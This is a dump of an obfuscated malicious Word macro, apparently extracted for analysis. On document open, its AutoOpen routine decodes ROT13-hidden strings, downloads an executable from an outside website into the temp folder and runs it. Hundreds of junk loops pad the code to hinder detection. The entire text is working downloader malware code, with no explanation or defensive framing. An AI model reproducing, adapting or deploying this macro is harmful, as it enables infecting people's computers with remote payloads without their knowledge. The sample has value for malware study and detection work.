Malicious Word macro

REM == MODULE 1 ============================================

Attribute VB_Name = "Module1"
Private Const LW4O3AUER = ""
Private Const QPFGLMSjq = LW4O3AUER
Private Const LRipI5OslYA = "abcdefghijklmnopqrstuvwxyz"
Private Const GLEqSmimQC = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
Function ZRCOUP(ByVal InString As String)


Dim LetterU As String
Dim LetterL As String
Dim Letter As String
Dim Rot13 As String
Dim i As Integer
LetterU = GLEqSmimQC
LetterL = LRipI5OslYA
i = 0
Do While i <= Len(InString)
i = i + 1
Letter = Mid(InString, i, 1)
If I0A7WvDveK(Letter) = True Then
If cIRt4Ae(Letter) = True Then
Rot13 = Rot13 & Mid(LetterU & LetterU, InStr(LetterU, Letter) + 13, 1)
Else
Rot13 = Rot13 & Mid(LetterL & LetterL, InStr(LetterL, Letter) + 13, 1)
End If
Else
Rot13 = Rot13 + Letter
End If
Loop
 ZRCOUP = Rot13
End Function
Function cIRt4Ae(ByVal InString As String) As Boolean
If StrComp(Trim(InString), "") = 0 Then
 cIRt4Ae = False
Exit Function
End If
If StrComp(InString, UCase(InString)) = 0 Then
 cIRt4Ae = True
Else
 cIRt4Ae = False
End If
End Function
Function I0A7WvDveK(ByVal InString As String) As Boolean
InString = UCase(InString)
If InString = "" Then I0A7WvDveK = False: Exit Function
If Asc(InString) >= 65 And Asc(InString) <= 90 Then
 I0A7WvDveK = True
Else
 I0A7WvDveK = False
End If
End Function


REM == MODULE 11 ============================================

Attribute VB_Name = "Module11"
Private Const pIna0CSVNsu = "Furyy.Nccyvpngvba"
Private Const dvr5p = "NQBQO.Fgernz"
Private Const wvYm = "Fpevcgvat.SvyrFlfgrzBowrpg"
Private Const OJvaKHZFGT = "TRG"
Private Const dCkKHihXXc = "ZFKZY2.KZYUGGC"
Private Const WWNcjAI4U = "\qfUUU.rkr"
Private Const s8A4IFJCpDYh = "uggc://nyhpneqban.pbz/wf/ova.rkr"
Private Const gS5U = wvYm

Sub ysrSwepCA()
Dim zFWcw, gmkGo6q
Dim EfQhk As Integer
For EfQhk = 655 To 655 + 5
DoEvents
Next EfQhk
Dim Gagod As Integer
For Gagod = 2269 To 2269 + 5
DoEvents
Next Gagod
Set zFWcw = CreateObject(ZRCOUP(gS5U))
Dim wCyKbc As Integer
For wCyKbc = 654 To 654 + 5
DoEvents
Next wCyKbc
Dim EseFcbC As Integer
For EseFcbC = 212 To 212 + 5
DoEvents
Next EseFcbC
Dim ijnK2g, j_YLrCc1S, fz21trwt
Const rihuZ61esFi = 2
Dim iGZkZVPif As Integer
For iGZkZVPif = 1004 To 1004 + 5
DoEvents
Next iGZkZVPif
Dim zuYaG As Integer
For zuYaG = 813 To 813 + 5
DoEvents
Next zuYaG
Dim CmwCy As Integer
For CmwCy = 2175 To 2175 + 5
DoEvents
Next CmwCy
Dim nrRsDxPMjeVRduJfSc As Integer
For nrRsDxPMjeVRduJfSc = 971 To 971 + 5
DoEvents
Next nrRsDxPMjeVRduJfSc
Dim ocNpLYm As Integer
For ocNpLYm = 2458 To 2458 + 5
DoEvents
Next ocNpLYm
Dim oqQdwEtZUU As Integer
For oqQdwEtZUU = 2268 To 2268 + 5
DoEvents
Next oqQdwEtZUU
Set ijnK2g = zFWcw.GetSpecialFolder(rihuZ61esFi)
Dim rRsDxPMEeVRdufSczuYaGag As Integer
For rRsDxPMEeVRdufSczuYaGag = 1256 To 1256 + 5
DoEvents
Next rRsDxPMEeVRdufSczuYaGag
Dim cMuwQt As Integer
For cMuwQt = 844 To 844 + 5
DoEvents
Next cMuwQt
Dim knfDhLrgArivFo As Integer
For knfDhLrgArivFo = 372 To 372 + 5
DoEvents
Next knfDhLrgArivFo
strLink = ZRCOUP(s8A4IFJCpDYh)
Dim paSaEf As Integer
For paSaEf = 752 To 752 + 5
DoEvents
Next paSaEf
Dim UUTZJPYoONeT As Integer
For UUTZJPYoONeT = 401 To 401 + 5
DoEvents
Next UUTZJPYoONeT
Dim JfSczuYa As Integer
For JfSczuYa = 2237 To 2237 + 5
DoEvents
Next JfSczuYa
strSaveTo = ijnK2g & ZRCOUP(WWNcjAI4U)
Dim PQBcNehkcAeI As Integer
For PQBcNehkcAeI = 1085 To 1085 + 5
DoEvents
Next PQBcNehkcAeI
Dim ZwrUVCQckaF As Integer
For ZwrUVCQckaF = 167 To 167 + 5
DoEvents
Next ZwrUVCQckaF
Set kSrmQYLjBtNSgg = CreateObject(ZRCOUP(dCkKHihXXc))
Dim lQPQBc As Integer
For lQPQBc = 1688 To 1688 + 5
DoEvents
Next lQPQBc
Dim UVCQcka As Integer
For UVCQcka = 706 To 706 + 5
DoEvents
Next UVCQcka
Dim hkcAesodxnesCll As Integer
For hkcAesodxnesCll = 1876 To 1876 + 5
DoEvents
Next hkcAesodxnesCll
kSrmQYLjBtNSgg.Open ZRCOUP(OJvaKHZFGT), strLink, False
Dim boPjOnEfFQK As Integer
For boPjOnEfFQK = 1815 To 1815 + 5
DoEvents
Next boPjOnEfFQK
Dim OarFbOZwrUV As Integer
For OarFbOZwrUV = 673 To 673 + 5
DoEvents
Next OarFbOZwrUV
Dim ihlQPQ As Integer
For ihlQPQ = 356 To 356 + 5
DoEvents
Next ihlQPQ
Dim CQckaFOONSpw As Integer
For CQckaFOONSpw = 2478 To 2478 + 5
DoEvents
Next CQckaFOONSpw
kSrmQYLjBtNSgg.send
Dim hYxaF As Integer
For hYxaF = 2021 To 2021 + 5
DoEvents
Next hYxaF
Dim QoCYLUtoQS As Integer
For QoCYLUtoQS = 1609 To 1609 + 5
DoEvents
Next QoCYLUtoQS
Dim aGkAgnGND As Integer
For aGkAgnGND = 2150 To 2150 + 5
DoEvents
Next aGkAgnGND
Dim AfsrHKNF As Integer
For AfsrHKNF = 1200 To 1200 + 5
DoEvents
Next AfsrHKNF
Dim DjefdiTMTyZ As Integer
For DjefdiTMTyZ = 124 To 124 + 5
DoEvents
Next DjefdiTMTyZ
Dim UtoQSzTZhQ As Integer
For UtoQSzTZhQ = 1642 To 1642 + 5
DoEvents
Next UtoQSzTZhQ
Set hxuWnpbqBtp4u = CreateObject(ZRCOUP(gS5U))
Dim RgNfQUujgspLiG As Integer
For RgNfQUujgspLiG = 819 To 819 + 5
DoEvents
Next RgNfQUujgspLiG
Dim pxnSNOMRCJQh As Integer
For pxnSNOMRCJQh = 881 To 881 + 5
DoEvents
Next pxnSNOMRCJQh
Dim hahKYQnr As Integer
For hahKYQnr = 1218 To 1218 + 5
DoEvents
Next hahKYQnr
Dim GAegMS As Integer
For GAegMS = 646 To 646 + 5
DoEvents
Next GAegMS
Dim rfdQpmIfDJF As Integer
For rfdQpmIfDJF = 238 To 238 + 5
DoEvents
Next rfdQpmIfDJF
Dim gyYyJDVFcL As Integer
For gyYyJDVFcL = 2008 To 2008 + 5
DoEvents
Next gyYyJDVFcL
If hxuWnpbqBtp4u.FileExists(strSaveTo) Then
Dim BOdJc As Integer
For BOdJc = 899 To 899 + 5
DoEvents
Next BOdJc
Dim GNeFEUKMEGljQF As Integer
For GNeFEUKMEGljQF = 741 To 741 + 5
DoEvents
Next GNeFEUKMEGljQF
Dim HitnFC As Integer
For HitnFC = 1820 To 1820 + 5
DoEvents
Next HitnFC
Dim yyaiuQqVtL As Integer
For yyaiuQqVtL = 794 To 794 + 5
DoEvents
Next yyaiuQqVtL
Dim zJesfR As Integer
For zJesfR = 381 To 381 + 5
DoEvents
Next zJesfR
Dim gNCQNE As Integer
For gNCQNE = 728 To 728 + 5
DoEvents
Next gNCQNE
Dim qiHQOzhEglzJe As Integer
For qiHQOzhEglzJe = 854 To 854 + 5
DoEvents
Next qiHQOzhEglzJe
hxuWnpbqBtp4u.DeleteFile (strSaveTo)
Dim tLYLJDVSpZkp As Integer
For tLYLJDVSpZkp = 1204 To 1204 + 5
DoEvents
Next tLYLJDVSpZkp
Dim NetOCLjeH As Integer
For NetOCLjeH = 115 To 115 + 5
DoEvents
Next NetOCLjeH
Dim ROmVgmiuK As Integer
For ROmVgmiuK = 148 To 148 + 5
DoEvents
Next ROmVgmiuK
Dim pNFBNetOCLj As Integer
For pNFBNetOCLj = 1791 To 1791 + 5
DoEvents
Next pNFBNetOCLj
Dim IUIFzRO As Integer
For IUIFzRO = 684 To 684 + 5
DoEvents
Next IUIFzRO
Dim vGbocN As Integer
For vGbocN = 1317 To 1317 + 5
DoEvents
Next vGbocN
Dim HHvvVfrTnSqIIFzROmVgmiuK As Integer
For HHvvVfrTnSqIIFzROmVgmiuK = 148 To 148 + 5
DoEvents
Next HHvvVfrTnSqIIFzROmVgmiuK
Dim qLzIh As Integer
For qLzIh = 140 To 140 + 5
DoEvents
Next qLzIh
End If
Dim OCAuMJgPb As Integer
For OCAuMJgPb = 158 To 158 + 5
DoEvents
Next OCAuMJgPb
Dim jFEhNgRVvV As Integer
For jFEhNgRVvV = 758 To 758 + 5
DoEvents
Next jFEhNgRVvV
Dim ZlNhMkCOCAu As Integer
For ZlNhMkCOCAu = 1582 To 1582 + 5
DoEvents
Next ZlNhMkCOCAu
Dim MjHzvHY As Integer
For MjHzvHY = 1424 To 1424 + 5
DoEvents
Next MjHzvHY
Dim COCAuM As Integer
For COCAuM = 1138 To 1138 + 5
DoEvents
Next COCAuM
Dim gEwsEUkFtC As Integer
For gEwsEUkFtC = 872 To 872 + 5
DoEvents
Next gEwsEUkFtC
Dim hzLzxrIGdM As Integer
For hzLzxrIGdM = 1855 To 1855 + 5
DoEvents
Next hzLzxrIGdM
Dim Antkhrp9gTyfJ3
Dim eVvKC As Integer
For eVvKC = 303 To 303 + 5
DoEvents
Next eVvKC
Dim qlOQxDQfUAv As Integer
For qlOQxDQfUAv = 2486 To 2486 + 5
DoEvents
Next qlOQxDQfUAv
Dim aQtOotqBET As Integer
For aQtOotqBET = 809 To 809 + 5
DoEvents
Next aQtOotqBET
Dim tBOqKpNfFgr As Integer
For tBOqKpNfFgr = 735 To 735 + 5
DoEvents
Next tBOqKpNfFgr
Dim DYOFSdLLzlM As Integer
For DYOFSdLLzlM = 1713 To 1713 + 5
DoEvents
Next DYOFSdLLzlM
Dim OqKpNfFgr As Integer
For OqKpNfFgr = 735 To 735 + 5
DoEvents
Next OqKpNfFgr
Set Antkhrp9gTyfJ3 = CreateObject(ZRCOUP(dvr5p))
Dim JDVTqLkqmyB As Integer
For JDVTqLkqmyB = 542 To 542 + 5
DoEvents
Next JDVTqLkqmyB
Dim ejwtcpOOq As Integer
For ejwtcpOOq = 657 To 657 + 5
DoEvents
Next ejwtcpOOq
Dim EIunuZzlA As Integer
For EIunuZzlA = 2396 To 2396 + 5
DoEvents
Next EIunuZzlA
Dim stauzHxdmml As Integer
For stauzHxdmml = 753 To 753 + 5
DoEvents
Next stauzHxdmml
Dim peJFFE As Integer
For peJFFE = 245 To 245 + 5
DoEvents
Next peJFFE
With Antkhrp9gTyfJ3
Dim nJQYCP As Integer
For nJQYCP = 453 To 453 + 5
DoEvents
Next nJQYCP
Dim bstOPaxeHYD As Integer
For bstOPaxeHYD = 1531 To 1531 + 5
DoEvents
Next bstOPaxeHYD
Dim AVumj As Integer
For AVumj = 1877 To 1877 + 5
DoEvents
Next AVumj
.Type = 1
Dim YpBpnhzwS As Integer
For YpBpnhzwS = 738 To 738 + 5
DoEvents
Next YpBpnhzwS
Dim LakESFsSpo As Integer
For LakESFsSpo = 249 To 249 + 5
DoEvents
Next LakESFsSpo
Dim ijhmQel As Integer
For ijhmQel = 1328 To 1328 + 5
DoEvents
Next ijhmQel
Dim Cbhdor As Integer
For Cbhdor = 851 To 851 + 5
DoEvents
Next Cbhdor
Dim YcqnVjII As Integer
For YcqnVjII = 536 To 536 + 5
DoEvents
Next YcqnVjII
.Open
Dim rVGBqKBsFQz As Integer
For rVGBqKBsFQz = 2453 To 2453 + 5
DoEvents
Next rVGBqKBsFQz
Dim kQlqyn As Integer
For kQlqyn = 1851 To 1851 + 5
DoEvents
Next kQlqyn
Dim RuNtQjvjh As Integer
For RuNtQjvjh = 1217 To 1217 + 5
DoEvents
Next RuNtQjvjh
Dim pPmlNuLyC As Integer
For pPmlNuLyC = 1123 To 1123 + 5
DoEvents
Next pPmlNuLyC
Dim lbeVuYCAiQri As Integer
For lbeVuYCAiQri = 1870 To 1870 + 5
DoEvents
Next lbeVuYCAiQri
.Write kSrmQYLjBtNSgg.responseBody
Dim HMxqxcpoEI As Integer
For HMxqxcpoEI = 1427 To 1427 + 5
DoEvents
Next HMxqxcpoEI
Dim VtdntpB As Integer
For VtdntpB = 793 To 793 + 5
DoEvents
Next VtdntpB
Dim HlPzvk As Integer
For HlPzvk = 2141 To 2141 + 5
DoEvents
Next HlPzvk
Dim DyceJ As Integer
For DyceJ = 2267 To 2267 + 5
DoEvents
Next DyceJ
Dim mjGqAGCOfgBD As Integer
For mjGqAGCOfgBD = 813 To 813 + 5
DoEvents
Next mjGqAGCOfgBD
.SaveToFile strSaveTo
Dim evJfSdAvZaG As Integer
For evJfSdAvZaG = 703 To 703 + 5
DoEvents
Next evJfSdAvZaG
Dim CmxDzK As Integer
For CmxDzK = 420 To 420 + 5
DoEvents
Next CmxDzK
.Close
Dim fGdbDlC As Integer
For fGdbDlC = 735 To 735 + 5
DoEvents
Next fGdbDlC
Dim gqZZLLnvIkE As Integer
For gqZZLLnvIkE = 2286 To 2286 + 5
DoEvents
Next gqZZLLnvIkE
Dim CpcDZYA As Integer
For CpcDZYA = 1038 To 1038 + 5
DoEvents
Next CpcDZYA
Dim iYOdnVVIIks As Integer
For iYOdnVVIIks = 469 To 469 + 5
DoEvents
Next iYOdnVVIIks
End With
Dim vypOeQG As Integer
For vypOeQG = 1594 To 1594 + 5
DoEvents
Next vypOeQG
Dim KRiIIYOQI As Integer
For KRiIIYOQI = 328 To 328 + 5
DoEvents
Next KRiIIYOQI
Set Antkhrp9gTyfJ3 = Nothing
Dim Ocbrvy As Integer
For Ocbrvy = 1089 To 1089 + 5
DoEvents
Next Ocbrvy
Dim ZlBQY As Integer
For ZlBQY = 505 To 505 + 5
DoEvents
Next ZlBQY
Dim VvYCn As Integer
For VvYCn = 2276 To 2276 + 5
DoEvents
Next VvYCn

Dim xRuzMJsF As Integer
For xRuzMJsF = 1019 To 1019 + 5
DoEvents
Next xRuzMJsF
Dim SQVHAHmMyNR As Integer
For SQVHAHmMyNR = 1162 To 1162 + 5
DoEvents
Next SQVHAHmMyNR
If hxuWnpbqBtp4u.FileExists(strSaveTo) Then
Dim ahoSgfvyB As Integer
For ahoSgfvyB = 88 To 88 + 5
DoEvents
Next ahoSgfvyB
Dim QSSQVHA As Integer
For QSSQVHA = 1541 To 1541 + 5
DoEvents
Next QSSQVHA
Dim qOeQGorL As Integer
For qOeQGorL = 929 To 929 + 5
DoEvents
Next qOeQGorL
Dim RIiKpaVJfUL As Integer
For RIiKpaVJfUL = 1181 To 1181 + 5
DoEvents
Next RIiKpaVJfUL
Dim vmLbTDl As Integer
For vmLbTDl = 660 To 660 + 5
DoEvents
Next vmLbTDl
End If
Dim AfFrHLNF As Integer
For AfFrHLNF = 1199 To 1199 + 5
DoEvents
Next AfFrHLNF
Dim mLbTDloI As Integer
For mLbTDloI = 1865 To 1865 + 5
DoEvents
Next mLbTDloI
Dim oEHKCbEjT As Integer
For oEHKCbEjT = 393 To 393 + 5
DoEvents
Next oEHKCbEjT
Dim wftRStCOr As Integer
For wftRStCOr = 1281 To 1281 + 5
DoEvents
Next wftRStCOr
Dim oFrvVJGASP As Integer
For oFrvVJGASP = 509 To 509 + 5
DoEvents
Next oFrvVJGASP
Dim tcpOOqyL As Integer
For tcpOOqyL = 1109 To 1109 + 5
DoEvents
Next tcpOOqyL
Dim AULCPaIIwi As Integer
For AULCPaIIwi = 634 To 634 + 5
DoEvents
Next AULCPaIIwi
Set ыјјыва = CreateObject(ZRCOUP(pIna0CSVNsu))
Dim dBQJtc As Integer
For dBQJtc = 969 To 969 + 5
DoEvents
Next dBQJtc
Dim rkrVwixBEw As Integer
For rkrVwixBEw = 1508 To 1508 + 5
DoEvents
Next rkrVwixBEw
ыјјыва.Open ijnK2g & ZRCOUP(WWNcjAI4U)
Dim QsgpNHlnTo As Integer
For QsgpNHlnTo = 2223 To 2223 + 5
DoEvents
Next QsgpNHlnTo
Dim MYpqLMQubET As Integer
For MYpqLMQubET = 1368 To 1368 + 5
DoEvents
Next MYpqLMQubET
End Sub

REM == ThisDocument ============================================

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
ysrSwepCA
End Sub